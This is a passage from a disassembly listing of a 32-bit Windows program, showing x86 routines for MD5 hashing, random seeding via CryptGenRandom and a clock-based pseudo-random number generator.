		push	edi
		mov	eax, [esi+10h]
		lea	ecx, [eax+ebx*8]
		cmp	ecx, eax
		mov	[esi+10h], ecx
		jnb	short loc_409F6D
		inc	dword ptr [esi+14h]


loc_409F6D:				; CODE XREF: sub_409F51+17j
		mov	ecx, ebx
		shr	ecx, 1Dh
		add	[esi+14h], ecx
		shr	eax, 3
		and	eax, 3Fh
		jz	short loc_409FAD
		push	40h
		lea	ecx, [eax+esi+18h]
		pop	edi
		sub	edi, eax
		cmp	ebx, edi
		jnb	short loc_409F91
		push	ebx
		push	[ebp+arg_4]
		push	ecx
		jmp	short loc_409FE3
; ---------------------------------------------------------------------------


loc_409F91:				; CODE XREF: sub_409F51+37j
		push	edi
		push	[ebp+arg_4]
		push	ecx
		call	sub_410838	; memcpy
		lea	eax, [esi+18h]
		push	eax
		push	esi
		call	sub_40A0BD
		add	[ebp+arg_4], edi
		add	esp, 14h
		sub	ebx, edi


loc_409FAD:				; CODE XREF: sub_409F51+2Aj
		cmp	ebx, 40h
		jb	short loc_409FDB
		mov	edi, ebx
		shr	edi, 6


loc_409FB7:				; CODE XREF: sub_409F51+88j
		push	40h
		lea	eax, [esi+18h]
		push	[ebp+arg_4]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_4]
		push	esi
		call	sub_40A0BD
		add	[ebp+arg_4], 40h
		add	esp, 14h
		sub	ebx, 40h
		dec	edi
		jnz	short loc_409FB7


loc_409FDB:				; CODE XREF: sub_409F51+5Fj
		push	ebx
		add	esi, 18h
		push	[ebp+arg_4]
		push	esi


loc_409FE3:				; CODE XREF: sub_409F51+3Ej
		call	sub_410838	; memcpy
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409F51	endp


; =============== S U B	R O U T	I N E =======================================



sub_409FF0	proc near		; CODE XREF: sub_409C8B+27p
					; sub_409D01+29p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		push	3Fh
		mov	eax, [esi+10h]
		lea	edi, [esi+10h]
		shr	eax, 3
		pop	ecx
		and	eax, ecx
		sub	ecx, eax
		lea	edx, [eax+esi+18h]
		mov	byte ptr [edx],	80h
		inc	edx
		cmp	ecx, 8
		jnb	short loc_40A037
		push	ebx
		push	ecx
		push	0
		push	edx
		call	sub_410850	; memset
		lea	ebx, [esi+18h]
		push	ebx
		push	esi
		call	sub_40A0BD
		push	38h
		push	0
		push	ebx
		call	sub_410850	; memset
		add	esp, 20h
		pop	ebx
		jmp	short loc_40A046
; ---------------------------------------------------------------------------


loc_40A037:				; CODE XREF: sub_409FF0+21j
		add	ecx, 0FFFFFFF8h
		push	ecx
		push	0
		push	edx
		call	sub_410850	; memset
		add	esp, 0Ch


loc_40A046:				; CODE XREF: sub_409FF0+45j
		push	8
		lea	eax, [esi+50h]
		push	edi
		push	eax
		call	sub_40A078
		lea	eax, [esi+18h]
		push	eax
		push	esi
		call	sub_40A0BD
		push	10h
		push	esi
		push	[esp+24h+arg_0]
		call	sub_40A078
		push	4
		push	0
		push	esi
		call	sub_410850	; memset
		add	esp, 2Ch
		pop	edi
		pop	esi
		retn
sub_409FF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A078	proc near		; CODE XREF: sub_409FF0+5Dp
					; sub_409FF0+73p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	[esp+arg_8], 0
		jbe	short locret_40A0BC
		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_40A090:				; CODE XREF: sub_40A078+41j
		mov	dl, [ecx]
		mov	[eax-1], dl
		mov	edx, [ecx]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		add	ecx, 4
		lea	edx, [esi+eax]
		cmp	edx, [esp+4+arg_8]
		jb	short loc_40A090
		pop	esi

locret_40A0BC:				; CODE XREF: sub_40A078+5j
		retn
sub_40A078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A0BD	proc near		; CODE XREF: sub_409F51+4Fp
					; sub_409F51+78p ...

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	ebx
		push	esi
		push	edi
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40A95D
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		mov	edi, [eax+4]
		mov	edx, [eax+0Ch]
		mov	ebx, [eax+8]
		mov	esi, edi
		mov	ecx, [eax]
		not	esi
		and	esi, edx
		mov	edx, ebx
		and	edx, edi
		or	esi, edx
		add	esi, ecx
		mov	ecx, [ebp+var_44]
		lea	edx, [esi+ecx-28955B88h]
		mov	esi, edi
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, edi
		mov	edx, ecx
		and	esi, ecx
		not	edx
		and	edx, ebx
		or	edx, esi
		mov	esi, [eax+0Ch]
		add	edx, [ebp+var_40]
		lea	esi, [esi+edx-173848AAh]
		mov	edx, esi
		shr	edx, 14h
		shl	esi, 0Ch
		or	edx, esi
		add	edx, ecx
		mov	esi, edx
		not	esi
		and	esi, edi
		mov	edi, edx
		and	edi, ecx
		or	esi, edi
		add	esi, [ebp+var_3C]
		lea	esi, [ebx+esi+242070DBh]
		mov	ebx, edx
		mov	edi, esi
		shr	edi, 0Fh
		shl	esi, 11h
		or	edi, esi
		add	edi, edx
		mov	esi, edi
		and	ebx, edi
		not	esi
		and	esi, ecx
		mov	[ebp+var_4], edi
		or	esi, ebx
		mov	ebx, [eax+4]
		add	esi, [ebp+var_38]
		lea	ebx, [ebx+esi-3E423112h]
		mov	esi, ebx
		shl	esi, 16h
		shr	ebx, 0Ah
		or	esi, ebx
		add	esi, edi
		mov	ebx, esi
		and	edi, esi
		not	ebx
		and	ebx, edx
		or	ebx, edi
		add	ebx, [ebp+var_34]
		lea	ecx, [ecx+ebx-0A83F051h]
		mov	edi, ecx
		shr	edi, 19h
		shl	ecx, 7
		or	edi, ecx
		add	edi, esi
		mov	ecx, esi
		mov	[ebp+arg_4], edi
		and	ecx, [ebp+arg_4]
		not	edi
		and	edi, [ebp+var_4]
		or	edi, ecx
		add	edi, [ebp+var_30]
		lea	edx, [edx+edi+4787C62Ah]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, [ebp+arg_4]
		mov	edx, ecx
		mov	edi, ecx
		and	edi, [ebp+arg_4]
		mov	ebx, ecx
		not	edx
		and	edx, esi
		or	edx, edi
		mov	edi, [ebp+var_4]
		add	edx, [ebp+var_2C]
		lea	edi, [edi+edx-57CFB9EDh]
		mov	edx, edi
		shr	edx, 0Fh
		shl	edi, 11h
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	ebx, edx
		not	edi
		and	edi, [ebp+arg_4]
		or	edi, ebx
		mov	ebx, edx
		add	edi, [ebp+var_28]
		lea	esi, [esi+edi-2B96AFFh]
		mov	edi, esi
		shl	edi, 16h
		shr	esi, 0Ah
		or	edi, esi
		add	edi, edx
		mov	esi, edi
		and	ebx, edi
		not	esi
		and	esi, ecx
		mov	[ebp+arg_0], edi
		or	esi, ebx
		mov	ebx, [ebp+arg_4]
		add	esi, [ebp+var_24]
		lea	ebx, [ebx+esi+698098D8h]
		mov	esi, ebx
		shr	esi, 19h
		shl	ebx, 7
		or	esi, ebx
		add	esi, edi
		mov	ebx, esi
		and	edi, esi
		not	ebx
		and	ebx, edx
		or	ebx, edi
		add	ebx, [ebp+var_20]
		lea	ecx, [ecx+ebx-74BB0851h]
		mov	edi, ecx
		shr	edi, 14h
		shl	ecx, 0Ch
		or	edi, ecx
		add	edi, esi
		mov	ecx, edi
		mov	ebx, edi
		not	ecx
		and	ecx, [ebp+arg_0]
		and	ebx, esi
		or	ecx, ebx
		add	ecx, [ebp+var_1C]
		lea	edx, [edx+ecx-0A44Fh]
		mov	ebx, edx
		shr	ebx, 0Fh
		shl	edx, 11h
		or	ebx, edx
		add	ebx, edi
		mov	ecx, ebx
		mov	edx, edi
		not	ecx
		and	ecx, esi
		and	edx, ebx
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		add	ecx, [ebp+var_18]
		mov	[ebp+var_4], ebx
		lea	edx, [edx+ecx-76A32842h]
		mov	ecx, edx
		shl	ecx, 16h
		shr	edx, 0Ah
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebx, ecx
		not	edx
		and	edx, edi
		or	edx, ebx
		add	edx, [ebp+var_14]
		lea	esi, [esi+edx+6B901122h]
		mov	edx, esi
		shr	edx, 19h
		shl	esi, 7
		or	edx, esi
		mov	esi, ecx
		add	edx, ecx
		mov	[ebp+arg_4], edx
		and	esi, [ebp+arg_4]
		not	edx
		and	edx, [ebp+var_4]
		or	edx, esi
		add	edx, [ebp+var_10]
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		mov	edi, ecx
		add	edx, [ebp+arg_4]
		mov	[ebp+arg_0], edx
		mov	esi, edx
		not	[ebp+arg_0]
		and	esi, [ebp+arg_4]
		and	edi, [ebp+arg_0]
		mov	ebx, edx
		or	esi, edi
		mov	edi, [ebp+var_4]
		add	esi, [ebp+var_C]
		lea	edi, [edi+esi-5986BC72h]
		mov	esi, edi
		shr	esi, 0Fh
		shl	edi, 11h
		or	esi, edi
		add	esi, edx
		mov	[ebp+var_4], esi
		and	ebx, esi
		not	[ebp+var_4]
		mov	edi, [ebp+var_4]
		and	edi, [ebp+arg_4]
		or	edi, ebx
		mov	ebx, esi
		add	edi, [ebp+var_8]
		and	ebx, [ebp+arg_0]
		lea	ecx, [ecx+edi+49B40821h]
		mov	edi, ecx
		shl	edi, 16h
		shr	ecx, 0Ah
		or	edi, ecx
		mov	ecx, edx
		add	edi, esi
		and	ecx, edi
		or	ecx, ebx
		mov	ebx, [ebp+arg_4]
		add	ecx, [ebp+var_40]
		lea	ecx, [ebx+ecx-9E1DA9Eh]
		mov	ebx, ecx
		shr	ebx, 1Bh
		shl	ecx, 5
		or	ebx, ecx
		mov	ecx, [ebp+var_4]
		add	ebx, edi
		and	ecx, edi
		mov	[ebp+arg_4], ebx
		mov	[ebp+arg_0], ecx
		mov	ecx, esi
		and	ecx, ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, ebx
		add	ecx, [ebp+var_2C]
		lea	edx, [edx+ecx-3FBF4CC0h]
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		mov	edx, edi
		add	ecx, [ebp+arg_4]
		not	edx
		and	edx, [ebp+arg_4]
		mov	ebx, ecx
		and	ebx, edi
		or	edx, ebx
		add	edx, [ebp+var_18]
		lea	esi, [esi+edx+265E5A51h]
		mov	edx, esi
		shr	edx, 12h
		shl	esi, 0Eh
		or	edx, esi
		mov	esi, [ebp+arg_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		and	edx, [ebp+arg_4]
		not	esi
		and	esi, ecx
		mov	ebx, [ebp+var_4]
		or	esi, edx
		add	esi, [ebp+var_44]
		lea	edi, [edi+esi-16493856h]
		mov	esi, ecx
		mov	edx, edi
		shl	edx, 14h
		shr	edi, 0Ch
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	esi
		and	esi, ebx
		and	edi, edx
		or	esi, edi
		mov	edi, [ebp+arg_4]
		add	esi, [ebp+var_30]
		lea	esi, [edi+esi-29D0EFA3h]
		mov	edi, esi
		shr	edi, 1Bh
		shl	esi, 5
		or	edi, esi
		mov	esi, ebx
		add	edi, edx
		mov	[ebp+arg_4], edi
		mov	edi, ebx
		and	edi, [ebp+arg_4]
		not	esi
		and	esi, edx
		or	esi, edi
		add	esi, [ebp+var_1C]
		lea	ecx, [ecx+esi+2441453h]
		mov	esi, ecx
		shr	esi, 17h
		shl	ecx, 9
		or	esi, ecx
		mov	ecx, edx
		add	esi, [ebp+arg_4]
		not	ecx
		and	ecx, [ebp+arg_4]
		mov	edi, esi
		and	edi, edx
		or	ecx, edi
		add	ecx, [ebp+var_8]
		lea	edi, [ebx+ecx-275E197Fh]
		mov	ecx, edi
		shr	ecx, 12h
		shl	edi, 0Eh
		or	ecx, edi
		mov	edi, [ebp+arg_4]
		add	ecx, esi
		mov	ebx, ecx
		and	ebx, [ebp+arg_4]
		not	edi
		and	edi, esi
		or	edi, ebx
		mov	ebx, esi
		add	edi, [ebp+var_34]
		lea	edx, [edx+edi-182C0438h]
		mov	edi, edx
		shl	edi, 14h
		shr	edx, 0Ch
		or	edi, edx
		mov	edx, esi
		add	edi, ecx
		not	edx
		and	edx, ecx
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [ebp+arg_4]
		add	edx, [ebp+var_20]
		mov	[ebp+arg_0], edi
		lea	ebx, [ebx+edx+21E1CDE6h]
		mov	edx, ebx
		shr	edx, 1Bh
		shl	ebx, 5
		or	edx, ebx
		mov	ebx, ecx
		not	ebx
		add	edx, edi
		and	ebx, edi
		mov	edi, ecx
		and	edi, edx
		or	ebx, edi
		add	ebx, [ebp+var_C]
		lea	esi, [esi+ebx-3CC8F82Ah]
		mov	edi, esi
		shr	edi, 17h
		shl	esi, 9
		or	edi, esi
		mov	esi, [ebp+arg_0]
		add	edi, edx
		mov	ebx, edi
		and	ebx, [ebp+arg_0]
		not	esi
		and	esi, edx
		or	esi, ebx
		add	esi, [ebp+var_38]
		lea	ecx, [ecx+esi-0B2AF279h]
		mov	esi, ecx
		shr	esi, 12h
		shl	ecx, 0Eh
		or	esi, ecx
		mov	ecx, edx
		add	esi, edi
		not	ecx
		mov	ebx, esi
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [ebp+arg_0]
		add	ecx, [ebp+var_24]
		lea	ecx, [ebx+ecx+455A14EDh]
		mov	ebx, ecx
		shl	ebx, 14h
		shr	ecx, 0Ch
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, esi
		mov	[ebp+arg_0], ebx
		mov	ebx, edi
		and	ebx, [ebp+arg_0]
		not	ecx
		and	ecx, esi
		or	ecx, ebx
		add	ecx, [ebp+var_10]
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, esi
		add	ecx, [ebp+arg_0]
		mov	[ebp+arg_4], ecx
		mov	ecx, esi
		and	edx, [ebp+arg_4]
		mov	ebx, [ebp+arg_4]
		not	ecx
		and	ecx, [ebp+arg_0]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		add	ecx, [ebp+var_3C]
		not	edx
		and	edx, ebx
		lea	edi, [edi+ecx-3105C08h]
		mov	ecx, edi
		shr	ecx, 17h
		shl	edi, 9
		or	ecx, edi
		add	ecx, ebx
		mov	edi, ecx
		and	edi, [ebp+arg_0]
		or	edx, edi
		add	edx, [ebp+var_28]
		lea	esi, [esi+edx+676F02D9h]
		mov	edx, esi
		shr	edx, 12h
		shl	esi, 0Eh
		or	edx, esi
		mov	esi, ebx
		add	edx, ecx
		not	esi
		mov	edi, edx
		and	esi, ecx
		and	edi, ebx
		or	esi, edi
		mov	edi, [ebp+arg_0]
		add	esi, [ebp+var_14]
		lea	edi, [edi+esi-72D5B376h]
		mov	esi, edi
		shl	esi, 14h
		shr	edi, 0Ch
		or	esi, edi
		mov	edi, ecx
		add	esi, edx
		xor	edi, edx
		xor	edi, esi
		add	edi, [ebp+var_30]
		lea	ebx, [ebx+edi-5C6BEh]
		mov	edi, ebx
		shr	edi, 1Ch
		shl	ebx, 4
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		xor	ebx, esi
		xor	ebx, edi
		add	ebx, [ebp+var_24]
		lea	ecx, [ecx+ebx-788E097Fh]
		mov	ebx, ecx
		shr	ebx, 15h
		shl	ecx, 0Bh
		or	ebx, ecx
		add	ebx, edi
		mov	ecx, ebx
		xor	ecx, esi
		xor	ecx, edi
		add	ecx, [ebp+var_18]
		lea	edx, [edx+ecx+6D9D6122h]
		mov	ecx, edx
		shr	ecx, 10h
		shl	edx, 10h
		or	ecx, edx
		mov	edx, ebx
		add	ecx, ebx
		mov	[ebp+var_4], ecx
		xor	edx, ecx
		mov	ecx, edx
		xor	ecx, edi
		add	ecx, [ebp+var_C]
		lea	esi, [esi+ecx-21AC7F4h]
		mov	ecx, esi
		shl	ecx, 17h
		shr	esi, 9
		or	ecx, esi
		add	ecx, [ebp+var_4]
		xor	edx, ecx
		add	edx, [ebp+var_40]
		lea	edi, [edi+edx-5B4115BCh]
		mov	edx, edi
		shr	edx, 1Ch
		shl	edi, 4
		or	edx, edi
		mov	edi, [ebp+var_4]
		mov	esi, edi
		add	edx, ecx
		xor	esi, ecx
		xor	esi, edx
		add	esi, [ebp+var_34]
		lea	ebx, [ebx+esi+4BDECFA9h]
		mov	esi, ebx
		shr	esi, 15h
		shl	ebx, 0Bh
		or	esi, ebx
		add	esi, edx
		mov	ebx, esi
		mov	[ebp+arg_4], esi
		xor	ebx, ecx
		xor	ebx, edx
		add	ebx, [ebp+var_28]
		lea	ebx, [edi+ebx-944B4B0h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		add	edi, esi
		xor	[ebp+arg_4], edi
		mov	ebx, [ebp+arg_4]
		xor	ebx, edx
		add	ebx, [ebp+var_1C]
		lea	ebx, [ecx+ebx-41404390h]
		mov	ecx, ebx
		shl	ecx, 17h
		shr	ebx, 9
		or	ecx, ebx
		mov	ebx, [ebp+arg_4]
		add	ecx, edi
		xor	ebx, ecx
		add	ebx, [ebp+var_10]
		lea	ebx, [edx+ebx+289B7EC6h]
		mov	edx, ebx
		shr	edx, 1Ch
		shl	ebx, 4
		or	edx, ebx
		mov	ebx, edi
		add	edx, ecx
		xor	ebx, ecx
		xor	ebx, edx
		add	ebx, [ebp+var_44]
		lea	esi, [esi+ebx-155ED806h]
		mov	ebx, esi
		shr	ebx, 15h
		shl	esi, 0Bh
		or	ebx, esi
		add	ebx, edx
		mov	esi, ebx
		mov	[ebp+arg_4], ebx
		xor	esi, ecx
		xor	esi, edx
		add	esi, [ebp+var_38]
		lea	esi, [edi+esi-2B10CF7Bh]
		mov	edi, esi
		shr	edi, 10h
		shl	esi, 10h
		or	edi, esi
		add	edi, ebx
		xor	[ebp+arg_4], edi
		mov	esi, [ebp+arg_4]
		xor	esi, edx
		add	esi, [ebp+var_2C]
		lea	esi, [ecx+esi+4881D05h]
		mov	ecx, esi
		shl	ecx, 17h
		shr	esi, 9
		or	ecx, esi
		mov	esi, [ebp+arg_4]
		add	ecx, edi
		xor	esi, ecx
		add	esi, [ebp+var_20]
		lea	esi, [edx+esi-262B2FC7h]
		mov	edx, esi
		shr	edx, 1Ch
		shl	esi, 4
		or	edx, esi
		mov	esi, edi
		add	edx, ecx
		xor	esi, ecx
		xor	esi, edx
		add	esi, [ebp+var_14]
		lea	ebx, [ebx+esi-1924661Bh]
		mov	esi, ebx
		shr	esi, 15h
		shl	ebx, 0Bh
		or	esi, ebx
		add	esi, edx
		mov	ebx, esi
		xor	ebx, ecx
		xor	ebx, edx
		add	ebx, [ebp+var_8]
		lea	ebx, [edi+ebx+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, esi
		add	edi, esi
		xor	ebx, edi
		xor	ebx, edx
		add	ebx, [ebp+var_3C]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, esi
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [ebp+var_44]
		lea	edx, [edx+ecx-0BD6DDBCh]
		mov	ecx, edx
		shr	ecx, 1Ah
		shl	edx, 6
		or	ecx, edx
		mov	edx, edi
		add	ecx, ebx
		not	edx
		or	edx, ecx
		xor	edx, ebx
		add	edx, [ebp+var_28]
		lea	esi, [esi+edx+432AFF97h]
		mov	edx, esi
		shr	edx, 16h
		shl	esi, 0Ah
		or	edx, esi
		mov	esi, ebx
		add	edx, ecx
		not	esi
		or	esi, edx
		xor	esi, ecx
		add	esi, [ebp+var_C]
		lea	edi, [edi+esi-546BDC59h]
		mov	esi, edi
		shr	esi, 11h
		shl	edi, 0Fh
		or	esi, edi
		mov	edi, ecx
		add	esi, edx
		not	edi
		or	edi, esi
		xor	edi, edx
		add	edi, [ebp+var_30]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shr	ebx, 0Bh
		shl	edi, 15h
		or	edi, ebx
		mov	ebx, edx
		not	ebx
		add	edi, esi
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_14]
		lea	ebx, [ecx+ebx+655B59C3h]
		mov	ecx, ebx
		shl	ebx, 6
		shr	ecx, 1Ah
		or	ecx, ebx
		mov	ebx, esi
		not	ebx
		add	ecx, edi
		or	ebx, ecx
		xor	ebx, edi
		add	ebx, [ebp+var_38]
		lea	ebx, [edx+ebx-70F3336Eh]
		mov	edx, ebx
		shl	ebx, 0Ah
		shr	edx, 16h
		or	edx, ebx
		mov	ebx, edi
		add	edx, ecx
		not	ebx
		or	ebx, edx
		xor	ebx, ecx
		add	ebx, [ebp+var_1C]
		lea	ebx, [esi+ebx-100B83h]
		mov	esi, ebx
		shr	esi, 11h
		shl	ebx, 0Fh
		or	esi, ebx
		mov	ebx, ecx
		add	esi, edx
		not	ebx
		or	ebx, esi
		xor	ebx, edx
		add	ebx, [ebp+var_40]
		lea	ebx, [edi+ebx-7A7BA22Fh]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_24]
		lea	ebx, [ecx+ebx+6FA87E4Fh]
		mov	ecx, ebx
		shr	ecx, 1Ah
		shl	ebx, 6
		or	ecx, ebx
		mov	ebx, esi
		add	ecx, edi
		not	ebx
		or	ebx, ecx
		xor	ebx, edi
		add	ebx, [ebp+var_8]
		lea	ebx, [edx+ebx-1D31920h]
		mov	edx, ebx
		shr	edx, 16h
		shl	ebx, 0Ah
		or	edx, ebx
		mov	ebx, edi
		add	edx, ecx
		not	ebx
		or	ebx, edx
		xor	ebx, ecx
		add	ebx, [ebp+var_2C]
		lea	ebx, [esi+ebx-5CFEBCECh]


loc_40A89A:				; DATA XREF: .data:00414DC0o
					; .data:00414E04o ...
		mov	esi, ebx
		shr	esi, 11h
		shl	ebx, 0Fh
		or	esi, ebx
		mov	ebx, ecx
		add	esi, edx
		not	ebx
		or	ebx, esi
		xor	ebx, edx
		add	ebx, [ebp+var_10]
		lea	ebx, [edi+ebx+4E0811A1h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_34]
		lea	ebx, [ecx+ebx-8AC817Eh]
		mov	ecx, ebx
		shr	ecx, 1Ah
		shl	ebx, 6
		or	ecx, ebx
		mov	ebx, esi
		add	ecx, edi
		not	ebx
		or	ebx, ecx
		xor	ebx, edi
		add	ebx, [ebp+var_18]
		lea	edx, [edx+ebx-42C50DCBh]
		mov	ebx, edx
		shr	ebx, 16h
		shl	edx, 0Ah
		or	ebx, edx
		mov	edx, edi
		add	ebx, ecx
		not	edx
		or	edx, ebx
		xor	edx, ecx
		add	edx, [ebp+var_3C]
		lea	esi, [esi+edx+2AD7D2BBh]
		mov	edx, esi
		shr	edx, 11h
		shl	esi, 0Fh
		or	edx, esi
		mov	esi, ecx
		add	edx, ebx
		not	esi
		or	esi, edx
		xor	esi, ebx
		add	esi, [ebp+var_20]
		lea	edi, [edi+esi-14792C6Fh]
		mov	esi, [eax]
		add	esi, ecx
		mov	ecx, edi
		shl	ecx, 15h
		shr	edi, 0Bh
		or	ecx, edi
		mov	[eax], esi
		add	ecx, [eax+4]
		pop	edi
		pop	esi
		add	ecx, edx
		mov	[eax+4], ecx
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [eax+0Ch]
		add	ecx, ebx
		pop	ebx
		mov	[eax+0Ch], ecx
		leave
		retn
sub_40A0BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A95D	proc near		; CODE XREF: sub_40A0BD+12p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	[esp+arg_8], 0
		jbe	short locret_40A9A2
		mov	edx, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	edi
		push	0FFFFFFFEh
		lea	eax, [edx+2]
		pop	esi
		sub	esi, edx


loc_40A976:				; CODE XREF: sub_40A95D+41j
		movzx	edi, byte ptr [eax-1]
		xor	edx, edx
		mov	dh, [eax+1]
		mov	dl, [eax]
		add	eax, 4
		shl	edx, 8
		or	edx, edi
		movzx	edi, byte ptr [eax-6]
		shl	edx, 8
		or	edx, edi
		mov	[ecx], edx
		lea	edx, [esi+eax]
		add	ecx, 4
		cmp	edx, [esp+8+arg_8]
		jb	short loc_40A976
		pop	edi
		pop	esi

locret_40A9A2:				; CODE XREF: sub_40A95D+5j
		retn
sub_40A95D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9A3	proc near		; CODE XREF: seg000:0041061Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	0F0000000h
		push	1
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		call	ds:dword_411024	; CryptAcquireContextA
		mov	esi, ds:dword_411020
		push	offset dword_41880C
		push	4
		push	[ebp+var_4]
		call	esi	; CryptGenRandom
		push	offset dword_418810
		push	4
		push	[ebp+var_4]
		call	esi	; CryptGenRandom
		push	offset dword_418814
		push	4
		push	[ebp+var_4]
		call	esi	; CryptGenRandom
		push	offset dword_418818
		push	4
		push	[ebp+var_4]
		call	esi	; CryptGenRandom
		push	0
		push	[ebp+var_4]
		call	ds:dword_41101C	; CryptReleaseContext
		pop	esi
		leave
		retn
sub_40A9A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA05	proc near		; CODE XREF: sub_40AADE+3p sub_40AB05p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		lock xadd dword_41880C,	eax
		add	eax, ebx
		lock xadd dword_418810,	eax
		add	eax, ecx
		lock xadd dword_418814,	eax
		add	eax, edx
		lock xadd dword_418818,	eax
		add	eax, esi
		lock xadd dword_41880C,	eax
		add	eax, edi
		lock xadd dword_418810,	eax
		add	eax, ebp
		lock xadd dword_418814,	eax
		add	eax, esp
		lock xadd dword_418818,	eax
		call	sub_41084A	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_41880C,	eax
		lock xadd dword_418810,	eax
		lock xadd dword_418814,	eax
		lock xadd dword_418818,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_418814,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_418810,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_41880C,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_418818,	edx
		lock xadd dword_418814,	ecx
		lock xadd dword_418810,	ebx
		lock xadd dword_41880C,	eax
		pop	ebx
		leave
		retn
sub_40AA05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AADE	proc near		; CODE XREF: sub_401B81+C1p
					; sub_40315E+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		call	sub_40AA05
		call	sub_41084A	; clock
		lock xadd dword_418818,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB05	proc near		; CODE XREF: sub_408832:loc_408898p
					; sub_408F9D+8DAp ...
		call	sub_40AA05
		call	sub_41084A	; clock
		lock xadd dword_418818,	eax
		retn
sub_40AB05	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB18	proc near		; CODE XREF: sub_40AB46:loc_40AB74p
					; sub_40D700+CEp
		call	sub_40AA05
		call	sub_41084A	; clock
		lock xadd dword_418810,	eax
		and	eax, 0FFh
		retn
sub_40AB18	endp


; =============== S U B	R O U T	I N E =======================================



